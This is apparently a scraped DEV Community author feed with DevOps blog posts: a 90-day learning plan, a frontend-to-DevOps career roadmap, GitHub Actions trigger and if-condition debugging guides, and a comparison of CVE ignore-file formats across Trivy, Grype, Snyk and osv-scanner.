74–80	Ingress, Helm, Terraform	Terraform Trouble
81–85	Project 3: linkstash on k3s, all Terraform	—
86–90	Resume, portfolio, incidents, interview drill	The Midnight Outage

Print that table. That's the roadmap.

One app, carried up the whole stack

The best design decision in the whole plan — and you can steal it even if you ignore everything else: don't build three throwaway projects. Build one app and carry it up the stack.

linkstash gets containerized in Phase 2, deployed to AWS in Phase 3, and orchestrated on Kubernetes in Phase 4. In interviews, that turns "I did some tutorials" into "here's one system I've run three ways, and here's why each layer exists." The compare-and-contrast is the story interviewers actually want.

The part nobody puts in roadmaps: incidents

Reading about journalctl and using it at 00:14 during an outage are different skills. Nobody gets paged because everything is working — ops is a job you do almost entirely on the failure path.

So the plan ends every week with an incident drill (that right-hand column in the table): a downed server, a DNS mystery, a broken pipeline, a surprise AWS bill, crashing pods. The final boss is "The Midnight Outage" — a SEV-1 where one security-group change cascades into DNS failover and pods that can't start, and you have to fix it upstream-first: aws → kubectl → dig, instead of restarting pods that were never the problem.

Whether or not you follow my plan, steal the diagnostic walk order:

Layer	Question to ask	Command
DNS / edge	Where is traffic actually going?	`dig +short <domain>`
Load balancer	Are targets healthy?	`aws elbv2 describe-target-health`
Network	Did rules change recently?	`aws ec2 describe-security-groups`
Orchestrator	What state are the workloads in?	`kubectl get pods` / `describe`
App	What does the process itself say?	`kubectl logs`

And to practice it today, break something yourself: chmod 000 a config your service reads, delete the Secret a deployment references, revoke a rule on a test security group, point a DNS record at nothing. Timer on, docs closed, fix it.

Honest tradeoffs

90 days makes you hireable-junior, not senior. You'll be dangerous enough to contribute and debug; depth comes on the job.
Self-paced means no accountability partner. A visible streak helps; it doesn't replace discipline.
It's opinionated. GitHub Actions, not Jenkins. AWS, not Azure. k3s, not EKS. I chose the highest-leverage default in each slot; your target job may differ.
The AWS phase requires a card on file. Teardowns keep it near zero, but the risk isn't zero.

If you want it guided

Everything above is the complete plan — you can run it solo with the table and a search engine. But I also built it as a full free site: Mission: 90 Days DevOps. Every one of the 90 days has the same shape — a short concept with a diagram, a hands-on lab with real commands and real outputs, a "Common Errors & Fixes" section with the actual error strings you'll hit, and 3–5 interview Q&A. The ten incident drills are playable missions in a browser terminal — no setup, no code required.

No signup, no email wall, no paywall. It's a static site; your progress saves in your browser. I'm one engineer building this in public, and the deal is simple: it's free, and if it helps, tell someone.

Start with Day 1, or just play the first mission — "Server Down!" takes about ten minutes and needs zero setup.

Two questions for the comments — I read every one:

If you've already made the dev → DevOps jump: what did your first real production incident teach you that no tutorial did? I'm collecting these — the best ones tend to become new missions.
If you're starting now: which phase looks scariest?

6 years of frontend, then I jumped to DevOps. The roadmap I'd actually follow in 2026

opscanopy — Sat, 27 Jun 2026 18:54:59 +0000

It was a Friday around 11pm and I was three hours into a build that wouldn't go green on a colleague's machine. Not a bug in my code. A version mismatch in a Webpack loader, a Node engine warning, and a peer-dependency tree that looked like the Bengaluru traffic on a Monday morning. I remember thinking: I've been doing React for six years and I still spend half my week fighting the machine my code runs on, not the code itself.

That night I started reading about Docker. Not to become a DevOps engineer. Just to make the pain stop.

Eighteen months later I was on-call for a payments platform, writing Terraform, and getting paid noticeably more to do work I actually liked. So this is the post I wish someone had handed me on that Friday.

Frontend skills transfer better than you think. Learn Linux and networking first (boring, non-negotiable), then Docker, then one cloud, then CI/CD, then Kubernetes only when you have a reason. Skip the certification rabbit hole until you've shipped something real. The full ordered path is at the end.

Why a frontend dev is weirdly well-suited for this

Here's the thing nobody told me: you're not starting from zero. You're starting from the side.

Years of frontend quietly taught you a bunch of DevOps muscle. You've debugged async race conditions, which is distributed-systems thinking in a smaller box. You've stared at network tabs and waterfall charts, so latency and request lifecycles aren't scary. You've fought caching bugs, which is half of what makes production hard. And you already live in the terminal, in Git, in YAML config files that lie to you.

What you're missing is mostly the layer below the browser. The server. The network. The box your app actually runs on.

That's a much smaller gap than the "I'm switching careers from scratch" story your imposter syndrome is telling you.

The stuff I wasted time on (so you don't have to)

Let me be honest about the dead-ends, because the happy-path roadmaps never are.

I tried to learn Kubernetes in month two. Total disaster. I was memorizing kubectl commands for a system I had no mental model for. It's like learning to parallel-park a truck before you can drive a scooter. Kubernetes solves problems you haven't felt yet. Feel the problems first.
I collected certifications like Pokémon cards. I did a cloud cert before I'd ever deployed a single real thing. The exam taught me to recognize service names, not to use them. I forgot 70% of it within a month because none of it was attached to a real memory of doing.
I treated "DevOps" as a tool checklist. I thought the job was knowing 40 tools. It isn't. The job is shrinking the gap between "code written" and "code running safely in front of users." Tools are just how you do that.

The biggest waste, though, was skipping Linux fundamentals because I assumed I "basically knew" the terminal from frontend work. I did not. Knowing cd and npm run dev is not knowing Linux.

Real talk: the day I understood file permissions, processes, and how stdout/stderr actually work, half of DevOps stopped feeling like magic and started feeling like plumbing. Good plumbing. Knowable plumbing.

The order that actually worked

So here's the sequence, the one I'd run again if I had to restart tomorrow. Each step earns the next one. Don't jump ahead just because a job ad mentioned a shiny tool.

Linux + the shell (3–5 weeks). Files, permissions, processes, systemd, package managers, piping, writing a basic bash script that doesn't fall over. This is the floor everything else stands on. I put together the version of this I wish I'd had in the Linux for DevOps guide.
Networking basics (2–3 weeks). DNS, HTTP, TCP/IP, ports, what a subnet actually is, how a load balancer routes. You don't need a CCNA. You need to stop being scared of a CIDR block. (When I was wrapping my head around subnets I kept a subnet calculator open in a tab. No shame in that.)
Docker (3–4 weeks). Images vs containers, layers, volumes, networking, a sane Dockerfile, then docker compose for multi-service local setups. This is the step where frontend devs have their first "ohhh" moment, because it kills the "works on my machine" problem you've hated for years. Start with the Docker for DevOps guide.
One cloud, and go deep on AWS (6–8 weeks). Not all three. One. IAM, EC2, VPC, S3, then RDS and Lambda. Most of the market runs on AWS, so the leverage is highest there. The AWS for DevOps walkthrough covers the services that actually show up in the job, not all 200+.
CI/CD (2–3 weeks). GitHub Actions is a gentle on-ramp because you already know Git and YAML. Build a pipeline that tests, builds a Docker image, and deploys it somewhere. This is the moment it all clicks into one loop.
Infrastructure as Code (3–4 weeks). Terraform. Stop clicking buttons in the AWS console; describe your infra in code, review it like code, version it like code.
Kubernetes, last, and only when you need it (ongoing). Now you have the mental model. Pods, services, deployments, ingress will make sense because you've felt the problems they solve. The Kubernetes for DevOps guide is where I'd start once you're here.

Notice what's not in the early steps? Kubernetes. Service meshes. Helm charts. That stuff is real and worth learning, just later. Front-loading it is the single most common way people burn out before they get anywhere.

How long does this really take?

If you're doing this on the side while holding a frontend job, say 8 to 10 hours a week, I'd budget six to nine months to get genuinely employable in a junior-ish DevOps or platform role. Not six weeks. Anyone selling you six weeks is selling you something.

The good news is you can earn while you learn by doing it inside your current job. Volunteer to own the team's CI pipeline. Dockerize the dev environment nobody wants to touch. Fix the deploy that breaks every other Friday. You become the "infra person" on a frontend team long before your title changes, and that internal track record is worth more than any cert.

On money, since everyone asks and nobody answers honestly: from what I've seen and from public salary data in India, DevOps/SRE roles tend to sit a notch above equivalent frontend roles. Rough ranges I've seen floating around for the Indian market: early-career landing somewhere in the ₹8–15 LPA band, mid-level often ₹18–30 LPA, and seniors/SREs in good product companies in Bengaluru, Hyderabad or Pune going well beyond that. Treat those as ballpark, not gospel; they swing hard with company, location, and whether it's a product firm or a services shop.

The mindset shift that mattered most

Frontend trained me to optimize for the happy path. Make the thing work, make it pretty, ship it.

DevOps trained me to ask the uncomfortable second question: what happens when this fails at 2am?

That reframe is the actual job. It's why on-call exists, why we obsess over observability, why "it works on my machine" is a punchline. You stop thinking about the moment of success and start thinking about the whole lifecycle: deploy, run, fail, recover, repeat. Once that clicks, you read systems differently. A payment that fails silently at 2am during an IPL-final traffic spike is a very different problem than a button that's the wrong shade of green.

Both matter. But one of them gets you a pager and a raise.

What I'd tell my Friday-night self

You're not behind. You're not too "frontend" for this. The treadmill you're tired of, the framework churn and the build-tool roulette, is exactly the friction DevOps exists to remove. You already feel the pain that this whole field is built to solve. That's not a disadvantage. That's a head start.

Just go in the right order. Linux before Kubernetes. Doing before certs. Depth in one cloud before breadth across three.

I eventually got tired of stitching together scattered tutorials, half-right YouTube playlists, and Reddit threads from 2019, so I put the path I wish I'd had into a single free, structured plan. No signup wall, no upsell. If you want a map instead of a pile of bookmarks, start with the DevOps roadmap and browse the rest of the free guides and roadmaps in the Learn hub.

Pick step one. Open a terminal. Start the timer. Future-you, the one who isn't debugging a Webpack loader at 11pm, says thanks.

Why Your GitHub Actions Workflow Didn't Trigger: branches, tags & paths Filters Explained

opscanopy — Sun, 14 Jun 2026 15:22:10 +0000

You pushed a commit, opened the Actions tab, and there's nothing there. No red X, no yellow dot — the workflow simply didn't run. There's no error to read, no log to grep, because a workflow that doesn't trigger produces no run at all. The decision happened before any runner was assigned, inside GitHub's event-filtering logic, and that logic is more surprising than the docs make it look.

Almost every "why did my GitHub Actions workflow not trigger" report comes down to one of a handful of causes: the workflow file isn't on the branch you pushed to, your branches filter doesn't match the ref, or — the big one — you combined branches and paths without realizing they're ANDed together. Here's each cause with the deciding rule and the fix.

1. The workflow file isn't on the target branch

GitHub reads on: triggers from the version of the workflow file that exists on the branch receiving the event — not from your default branch. If you added .github/workflows/ci.yml on main but push to a feature/x branch that branched off before that file existed, there's no workflow to trigger there.

# on main, but feature/x branched before this file existed
on:
  push:
    branches: ['**']

This is the most common false alarm. The fix is mechanical: merge or rebase main into the branch so the workflow file is present, then push again. The same rule explains why edits to on: triggers only "take effect" once the change reaches the branch you're testing on.

Why it matters: there is no error message for "no workflow file here." It's the first thing to rule out before you suspect your filters.

2. The branch filter doesn't match the ref

branches and tags are glob patterns, and the glob rules are stricter than shell globs. A plain * matches one path segment — it stops at /. To match across slashes you need **.

# BAD — '*' does not cross '/', so 'release/1.2' never matches
on:
  push:
    branches:
      - 'release/*'   # matches release/1.2 ... actually this IS fine
      - 'feature*'    # matches 'feature' and 'featureX' but NOT 'feature/login'

The trap is feature* versus feature/**. feature* matches the literal segment featureX, but a branch named feature/login contains a slash, and * won't cross it. You want feature/**.

# FIXED — ** crosses slashes
on:
  push:
    branches:
      - 'release/**'
      - 'feature/**'
      - main

The glob characters GitHub honors: * (any chars except /), ** (any chars including /), ? (one char), + (one or more of the preceding), [] character ranges, ! at the start of a pattern to negate, and \ to escape a special character (so \* matches a literal asterisk). Order matters for negation — a later !pattern excludes refs an earlier pattern included.

Why it matters: * not crossing / is responsible for a huge share of "github actions branches filter not working" reports. When in doubt, reach for **.

3. The AND-semantics of `branches` + `paths`

This is the one that burns experienced engineers. When a push or pull_request event has both a branch filter and a path filter, the event must satisfy both to trigger. They are ANDed, not ORed.

# BAD — intent: "run on a push to main, OR when src changes"
# reality: "run only on a push to main AND when src/** changed"
on:
  push:
    branches: [main]
    paths: ['src/**']

A push to main that only touches README.md will not run this workflow — the branch matched, but no path did, and both must hold. People read this block as an OR and are baffled when docs-only commits skip CI.

If you genuinely want "main pushes always, plus any branch when src changes," that's two separate filter sets, which on: can't express in one push block — you split it across triggers or use job-level if: conditions on github.ref instead.

# FIXED — be explicit that you want both conditions, or drop one
on:
  push:
    branches: [main]
    paths:
      - 'src/**'
      - '.github/workflows/**'   # so CI changes still trigger

Why it matters: the AND-semantics are documented in one sentence and contradict most people's intuition. If your workflow "randomly" skips some pushes to the right branch, a path filter is almost always the cause.

4. `paths` with no `branches` companion still needs a real ref

A subtle corollary: when you filter on.push.paths and want it to apply across all branches, you don't need a branches block at all — omitting it means "all branches." But the moment you add branches, rule #3 kicks in. People sometimes add branches: ['**'] thinking it's required for paths to work; it isn't, and adding it changes nothing because ** matches every branch anyway. The thing to internalize is that a missing filter means "match everything," and a present filter narrows.

# These behave identically: paths applies to every branch
on:
  push:
    paths: ['src/**']
# vs
on:
  push:
    branches: ['**']
    paths: ['src/**']

5. `paths-ignore` and the diff that's too big

paths-ignore skips the run only if every changed file matches an ignore pattern. If a single file falls outside the ignore list, the workflow runs. So one stray change defeats the whole filter — which is usually what you want, but surprises people who expect "ignore these files" to mean "ignore commits that touch these files."

# Skips ONLY when every changed file is docs; one code file => runs
on:
  push:
    paths-ignore:
      - 'docs/**'
      - '**.md'

Two more gotchas live here. First, path filters are evaluated against the diff, and GitHub only inspects up to 300 changed files (1,000 commits) — beyond that limit, path filtering gives up and the workflow runs (or is evaluated as if the filter passed). A giant force-push or a huge merge can trigger a workflow your paths-ignore "should" have skipped. Second, you cannot mix paths and paths-ignore in the same trigger; pick one.

Why it matters: paths-ignore is an all-or-nothing gate on the diff, and the 300-file ceiling means it's not a hard guarantee on large changes.

6. `pull_request`, forks, and `pull_request_target`

Branch filters on pull_request match the base branch (where the PR will merge), not the head branch the contributor is working on. If you write branches: [main] expecting it to match the contributor's feature/x, it won't — it matches PRs targeting main.

# Runs on PRs whose BASE (merge target) is main or a release branch
on:
  pull_request:
    branches:
      - main
      - 'release/**'

And pull_request from a fork is restricted: a first-time contributor's PR may require manual approval before any workflow runs, which looks identical to "didn't trigger." If you switched to pull_request_target to get around fork restrictions, note that it reads the workflow and triggers from the base branch's version of the file — and carries real security risk, covered in our GitHub Actions security misconfigurations post.

A copy-paste filter cheat-sheet

on:
  push:
    branches:                 # ref globs; missing = all branches
      - main
      - 'release/**'          # ** crosses '/'; '*' does not
      - 'feature/**'
    tags:
      - 'v[0-9]+.[0-9]+.[0-9]+'   # numeric semver tags only
    paths:                    # ANDed with branches — BOTH must match
      - 'src/**'
      - '.github/workflows/**'
  pull_request:
    branches: [main]          # matches the PR's BASE branch
    paths-ignore:             # skip only if EVERY changed file matches
      - '**.md'

Quick reference for the glob characters: * = any chars except /, ** = any chars including /, ? = one char, + = one-or-more of the preceding, [a-z] = range, leading ! = negate, \ = escape.

Stop guessing — replay your event

The reason these bugs are maddening is that the feedback loop is "push and pray." There's no dry-run, no --explain, just an empty Actions tab. So you commit a one-line change, push, refresh, wait, and repeat — burning minutes per guess against semantics you're not sure of.

The GitHub Actions Expression & Trigger Tester closes that loop. Paste your on: block, describe the event — push to feature/login, tag v2.1.0, or a pull_request targeting main with a list of changed files — and it evaluates every branches, tags, paths, and paths-ignore filter with the same glob engine and AND-semantics GitHub uses. You get a per-job RUNS / SKIPPED table with the exact deciding reason: "branch matched, but no path filter did," or "* does not cross /." It's 100% in your browser — your workflow YAML never leaves the page.

See exactly which jobs run before you push, not after.

Open the GitHub Actions Expression & Trigger Tester →

Originally published on OpsCanopy. Try it free, in your browser: CVE-Ignore Converter.

Why Your GitHub Actions "if" Condition Always Runs (and How to Fix It

opscanopy — Sun, 14 Jun 2026 15:18:07 +0000

You added an if: to a step so it would only run on main, or only on a tag, or only when a previous step set an output. Then you pushed — and the step ran anyway. Every time. On every branch. The condition is just decoration.

If your GitHub Actions if condition is not working — specifically, if it always evaluates to true — you almost certainly hit the single most common footgun in the whole product: putting literal text where GitHub expects an expression. The runner doesn't error on it. It quietly coerces your text to a non-empty string, decides a non-empty string is truthy, and runs the step. This post shows the exact bad patterns, the fixes, and the coercion rules underneath so you stop guessing.

The footgun: literal text outside `${{ }}` is always truthy

In an if:, GitHub already evaluates the value as an expression — you do not wrap the whole thing in ${{ }}. But the moment any literal text leaks outside the expression braces, the runner stops treating the line as a condition and starts treating it as a string. A non-empty string is truthy. Your step always runs.

# BAD — the ${{ }} is embedded in a larger string, so the whole if: is a string
- name: Deploy
  if: ${{ github.ref == 'refs/heads/main' }} && success()
  run: ./deploy.sh

That looks reasonable, but the runner sees: evaluate ${{ ... }} to true, then concatenate && success() as literal text. The final value is the string "true && success()" — non-empty, therefore truthy. The step runs on every branch.

The fix is to write one expression with no braces and no stray text:

# FIXED — a single bare expression, no ${{ }}, no trailing literal
- name: Deploy
  if: github.ref == 'refs/heads/main' && success()
  run: ./deploy.sh

The same trap catches you when you quote the whole condition:

# BAD — the entire condition is a quoted string literal, always truthy
- if: "${{ steps.check.outputs.changed == 'true' }}"
  run: ./build.sh

Wrapping the expression in quotes makes the YAML value a plain string. GitHub finds a ${{ }} inside it, substitutes the result, and you're back to a non-empty string. Drop the quotes and the braces:

# FIXED
- if: steps.check.outputs.changed == 'true'
  run: ./build.sh

Rule of thumb: in an if:, there are no ${{ }} and no surrounding quotes. Just the expression. The braces are for interpolating values into run:, name:, and with: — not for conditions.

You can paste either of these into the GitHub Actions Expression & Trigger Tester and watch it flag the literal-text leak before you push — it warns on exactly this pattern (it's tracked as actions/runner#1173, the most-reacted bug in the runner repo).

The implicit `success()` that vanishes when you add an `if:`

Here's the second surprise, and it's the reason "my conditional step runs even though the previous step failed."

Every step and job has an implicit success() condition. With no if: at all, a step runs only if everything before it succeeded. That's why pipelines stop on the first failure without you writing anything.

The instant you add a custom if:, that implicit success() is gone. Your condition is now the whole truth.

# BAD — you wanted "on main", but you deleted the implicit success() guard
- name: Notify on main
  if: github.ref == 'refs/heads/main'
  run: ./notify.sh   # now runs on main EVEN IF the build above failed

If you still want the step to require success, say so explicitly:

# FIXED — re-add the success() guard you lost
- name: Notify on main
  if: success() && github.ref == 'refs/heads/main'
  run: ./notify.sh

This is also why people are confused that a "cleanup" step runs only on success when they wanted it to run no matter what — the implicit guard is still there until they add always().

`success()` vs `always()` vs `failure()` vs `cancelled()`

These four status functions decide whether the step considers prior results at all. Mixing them up is the other half of "my if doesn't behave."

success() — true only if all previous steps/jobs succeeded. (This is the implicit default.)
failure() — true if any previous step failed. Use it for failure notifications.
always() — true unconditionally; the step runs even if a prior step failed or the workflow was cancelled. Use for cleanup that must always happen.
cancelled() — true only when the workflow was cancelled.

The classic mistake is combining always() with another condition using && and expecting it to still run on cancellation — it does, but people often want the opposite:

# BAD — "always upload logs, but only on main" — this does NOT short-circuit on failure
- name: Upload logs
  if: github.ref == 'refs/heads/main'
  run: ./upload-logs.sh   # skipped when the build fails, because implicit success() is gone... wait, no — it's gone, so it runs? See below.

To be precise about that last one: because you supplied a custom if:, the implicit success() is dropped, so the step runs on main regardless of whether the build passed. If you actually want "upload logs on main, pass or fail," that's what you have — but make the intent explicit so the next reader isn't guessing:

# FIXED — explicit: run on main whether the build passed or failed
- name: Upload logs
  if: always() && github.ref == 'refs/heads/main'
  run: ./upload-logs.sh

And for a failure-only alert:

# FIXED — only when something upstream broke
- name: Alert
  if: failure()
  run: ./page-oncall.sh

Coercion surprises: `==`, strings, and case-insensitivity

Even with correctly-formed expressions, GitHub's comparison rules trip people up because they're JavaScript-like but not JavaScript.

String == is case-insensitive. This burns people comparing branch refs or input values:

# Surprise: both of these are TRUE
${{ 'MAIN' == 'main' }}          # true — case-insensitive
${{ 'Refs/Heads/Main' == github.ref }}  # may be true unexpectedly

Loose coercion across types. When the two sides differ in type, GitHub coerces toward a number: booleans become 1/0, and strings are parsed as numbers (an empty string and '0' are 0; non-numeric strings become NaN, and any comparison with NaN is false). So:

${{ true == 1 }}        # true
${{ '' == 0 }}          # true  — empty string coerces to 0
${{ '3.0' == 3 }}       # true
${{ 'abc' == 0 }}       # false — 'abc' is NaN, NaN != anything

&& and || return operands, not booleans. Just like JavaScript, a && b returns b if a is truthy, otherwise a. This is great for defaults (inputs.name || 'default') but means if: inputs.flag && 'yes' evaluates to the string 'yes' — truthy — not a clean boolean.

The falsy values are exactly: false, 0, '' (empty string), and null. Everything else — including the strings 'false' and '0'... wait: '0' is falsy because it coerces to the number 0, but 'false' is a non-empty string that does not coerce to a number, so ${{ 'false' }} is truthy. That single fact causes more "my boolean input is always true" bugs than any other:

# BAD — workflow_dispatch inputs are STRINGS; 'false' is truthy
on:
  workflow_dispatch:
    inputs:
      deploy: { type: boolean }
jobs:
  go:
    if: inputs.deploy   # with type: boolean this is fine...

# BAD — but if the value arrives as a string 'false', this always runs
- if: github.event.inputs.deploy   # string 'false' is truthy!
  run: ./deploy.sh

# FIXED — compare explicitly so the string is interpreted as data
- if: github.event.inputs.deploy == 'true'
  run: ./deploy.sh

`contains` and `startsWith` aren't the same as `==`

Filtering by ref prefix is another spot where the wrong function silently over-matches:

# BAD — contains matches ANYWHERE, so 'feature/main-fix' passes too
- if: contains(github.ref, 'main')
  run: ./deploy.sh

# FIXED — anchor to the start, or compare the full ref
- if: startsWith(github.ref, 'refs/heads/release/')
  run: ./deploy.sh
# or, for an exact branch:
- if: github.ref == 'refs/heads/main'
  run: ./deploy.sh

Remember both contains and startsWith do string comparison case-insensitively, same as ==.

Test your `if:` before you push

The reason these bugs are so persistent is the feedback loop: the only way to "test" a condition has traditionally been to commit, push, and read the logs — then guess, edit, and push again. Every wrong guess is a round-trip.

The GitHub Actions Expression & Trigger Tester closes that loop. Paste your if: expression, set a mock github / env / steps / needs context, and see the evaluated result with GitHub's exact operator, coercion, and case-insensitivity rules — plus an explicit warning when you've left literal text outside ${{ }} and accidentally built an always-truthy condition. It runs entirely in your browser; nothing about your workflow is uploaded.

If you've ever shipped an if: and hoped it would skip, this is the check that tells you before the runner does.

Try the GitHub Actions Expression & Trigger Tester →

Originally published on OpsCanopy. Try it free, in your browser: CVE-Ignore Converter.

One CVE, four ignore files: unifying Trivy, Grype, Snyk and osv-scanner

opscanopy — Sat, 13 Jun 2026 08:26:39 +0000

You triaged the CVE. A scanner flagged CVE-2023-45853 in zlib, you read the advisory, confirmed the vulnerable code path isn’t reachable from your image, and made the call: suppress it, with a reason and a review date. One decision.

Now encode that one decision four times.

If your pipeline runs more than one scanner — and plenty do, because Trivy, Grype, Snyk and osv-scanner each catch things the others miss — every accepted-risk suppression has to be written into every tool’s ignore file. Same CVE, same rationale, four different files with four different schemas, four different capabilities. Get one wrong and that scanner keeps failing the build (or worse, silently stops failing on something you never meant to ignore).

The same suppression, four ways

Here’s the simplest version of that decision — “ignore CVE-2023-45853” — in each format.

.trivyignore is a flat newline-delimited list. One ID per line, # for comments:

# zlib MiniZip — not reachable from our build, re-review 2026-09-01
CVE-2023-45853

.grype.yaml uses a structured ignore array of match rules. You can scope by vulnerability ID and, optionally, by package:

ignore:
  - vulnerability: CVE-2023-45853
    # zlib MiniZip — not reachable, re-review 2026-09-01
    package:
      name: zlib
      version: 1.2.13

.snyk is Snyk’s policy file: a YAML map keyed by issue ID, where each entry is a list of path-scoped objects carrying reason and expires as first-class fields:

version: v1.25.0
ignore:
  CVE-2023-45853:
    - "*":
        reason: zlib MiniZip not reachable from our build
        expires: 2026-09-01T00:00:00.000Z

osv-scanner.toml uses a TOML [[IgnoredVulns]] array of tables, with id, reason and an RFC 3339 ignoreUntil:

[[IgnoredVulns]]
id = "CVE-2023-45853"
ignoreUntil = 2026-09-01T00:00:00Z
reason = "zlib MiniZip not reachable from our build"

Four files. The CVE ID is the only thing that survives verbatim across all of them.

What maps cleanly

A handful of concepts are genuinely portable, and a converter can move them without loss:

The identifier. A CVE-… ID is a CVE-… ID everywhere. The one wrinkle: osv-scanner is happiest with OSV IDs (GHSA-…, PYSEC-…) but accepts CVEs and resolves aliases, while the others are CVE-first. Most of the time the ID is a clean copy.
A reason string. Grype, Snyk and osv-scanner all have somewhere to put “why.” Trivy historically did not — in a bare .trivyignore the only home for a rationale is a # comment on the line above, which no tool parses but every reviewer reads.
Expiry, in spirit. Snyk’s expires and osv-scanner’s ignoreUntil are both real, enforced timestamps: once the date passes, the suppression lapses and the finding comes back. That’s the same idea, and it converts directly between the two.

What is lossy

The interesting part is everything that doesn’t round-trip. A converter has to be honest about these instead of silently dropping them.

Expiry is asymmetric. Snyk and osv-scanner enforce a date. Plain .trivyignore has no expiry field at all — a suppression there is forever until someone deletes the line. (Trivy’s newer YAML ignore file supports a statement and richer matching, but the classic .trivyignore most repos still use does not.) Convert a Snyk ignore with an expiry into .trivyignore and that expiry can only survive as a comment — a note to a human, not a rule the scanner enforces. That is a real loss of safety, and it should be flagged, not hidden.

Package scope varies. Grype lets you pin package.name and package.version, so the suppression only applies to that exact dependency. .trivyignore (classic) keys purely on the vulnerability ID — it ignores that CVE everywhere it appears in the scan, which is broader than you may have intended. Narrowing a Grype rule down to .trivyignore widens the blast radius; you can’t express “only this package” in a flat ID list.

Path scope is mostly a Snyk idea. Snyk’s ignore entries are lists keyed by path — the "*" above means “everywhere,” but Snyk can also scope a suppression to a specific dependency path so it applies in one place and not another. None of Trivy, Grype or osv-scanner model path-level scope this way, so a path-scoped Snyk ignore flattens to “this CVE, project-wide” in the others. The intent (“only on this transitive path”) is gone.

Reason has nowhere native to land in classic Trivy. As above — converting into .trivyignore demotes a first-class reason to a comment. Converting out of it, there’s usually no machine-readable reason to recover at all, only whatever a human left in a # line.

The pattern across all of these: converting toward a more expressive format is safe, and converting toward a flatter one quietly broadens scope and drops metadata. The only responsible way to do the flat conversion is to surface exactly what was lost so a human can decide whether the wider suppression is acceptable.

Do it once, emit four

Maintaining four hand-written ignore files in lockstep is exactly the kind of repetitive, error-prone bookkeeping that should be mechanical. Describe a suppression once — ID, reason, expiry, package and path scope — and let a tool emit the correct shape for each scanner, with explicit warnings wherever a target format can’t hold a field.

That’s what the CVE-Ignore Converter does: paste any one of .trivyignore, .grype.yaml, .snyk or osv-scanner.toml, get the other three back, and see precisely which parts were lossy in the round-trip. It runs entirely in your browser — your suppression policy never leaves the page.

Try the CVE-Ignore Converter →

Originally published on OpsCanopy. Try it free, in your browser: CVE-Ignore Converter.

DEV Community: opscanopy

Why Did Prometheus Drop My Target? Debugging relabel_configs

The symptom: a missing target in /targets, or a label that vanished

relabel_configs vs metric_relabel_configs: where each one runs

The usual suspects

A keep regex that does not match (because the regex is anchored)

A drop that is too broad

Wrong source_labels, or the wrong join

A replacement that overwrote address (or deleted a label)

A debugging workflow

1. Dump the target labels, including _meta

2. Test the rules against those labels

3. Bisect the rule list

Worked example: the disappearing target, found and fixed

Catch it before deploy

Why Isnt My Alert Reaching the Right Receiver? Debugging Alertmanager Routing

The symptom: silent pages, or the wrong team gets paged

Bug 1: first match wins and you forgot continue: true

Bug 2: the matcher does not match (regex, quoting, a missing label)

Bug 3: a catch-all default route swallows everything before your route is reached

Bug 4: route ordering among siblings

Bug 5: grouping makes an alert look missing when it is just batched

Test Alertmanager routing without amtool: walk the tree against the alerts labels

Find the matching receiver now: an Alertmanager route debugger in the browser

How to Convert a docker run Command to docker-compose.yml

Why move from docker run to Compose

The anatomy of a docker run command

Mapping every docker run flag to docker-compose.yml

-p → ports

-v / --volume and --mount → volumes

-e / --env-file → environment / env_file

--restart, --name, -w, -u

--network → networks (or network_mode)

--cap-add, --cap-drop, --add-host

--health-* → healthcheck

-m / --cpus → mem_limit / cpus

The flags with no Compose equivalent

A full worked example

Gotchas when you convert docker run -p -v -e to compose

Convert it instantly

7 Common .gitlab-ci.yml Mistakes (and How to Catch Them)

1. Referencing an undefined stage

2. A job with no script (and the global/default-script confusion)

3. needs pointing at a job in a later stage or a job that does not exist

4. rules that never match (or always do) — and mixing only/except with rules

5. extends a template that does not exist, or a circular extends

6. YAML anchors and hidden (dot-prefixed) jobs gone wrong

7. include that 404s or points at the wrong file/ref

Catch them all at once

Kubernetes isn't that scary — you really only need 8 objects (and to read 3 errors)

Part 1: The 8 objects that actually matter

1. Pod — one running thing

2. Deployment — the manager who keeps Pods alive

3. Service — a stable address for a moving target

4. Ingress — the front-desk router for HTTP

5 and 6. ConfigMap and Secret — pulling config out of your image

7. Namespace — rooms in the same house

8. Resource requests and limits — the most-skipped, most-important setting

Part 2: The 3 errors you WILL hit

CrashLoopBackOff — your container keeps dying on startup

ImagePullBackOff — Kubernetes can't get your image

OOMKilled — your container ate too much memory

Where to go from here

The 12 Linux commands I actually run every day as a DevOps engineer

Find out what's wrong fast

1. top (and ps for the surgical version)

2. df -h — is the disk full?

3. du -sh * | sort -h — where did the disk go?

4. ss -tulpn — what's listening on which port?

Wrangle the logs

5. journalctl — the systemd logbook

6. grep — find the needle

7. awk — when you need columns

8. tail -f — watch it happen live

Files & permissions

9. find — locate by criteria, not just name

10. chmod / chown — fix who can do what

Reach other machines

11. ssh — get onto the box

12. curl — is the endpoint actually up?

1. `top` (and `ps` for the surgical version)

2. `df -h` — is the disk full?

3. `du -sh * | sort -h` — where did the disk go?

4. `ss -tulpn` — what's listening on which port?

5. `journalctl` — the systemd logbook

6. `grep` — find the needle

7. `awk` — when you need columns

8. `tail -f` — watch it happen live

9. `find` — locate by criteria, not just name

10. `chmod` / `chown` — fix who can do what

11. `ssh` — get onto the box

12. `curl` — is the endpoint actually up?

3. The AND-semantics of `branches` + `paths`

4. `paths` with no `branches` companion still needs a real ref

5. `paths-ignore` and the diff that's too big

6. `pull_request`, forks, and `pull_request_target`

The footgun: literal text outside `${{ }}` is always truthy

The implicit `success()` that vanishes when you add an `if:`

`success()` vs `always()` vs `failure()` vs `cancelled()`

Coercion surprises: `==`, strings, and case-insensitivity

`contains` and `startsWith` aren't the same as `==`

Test your `if:` before you push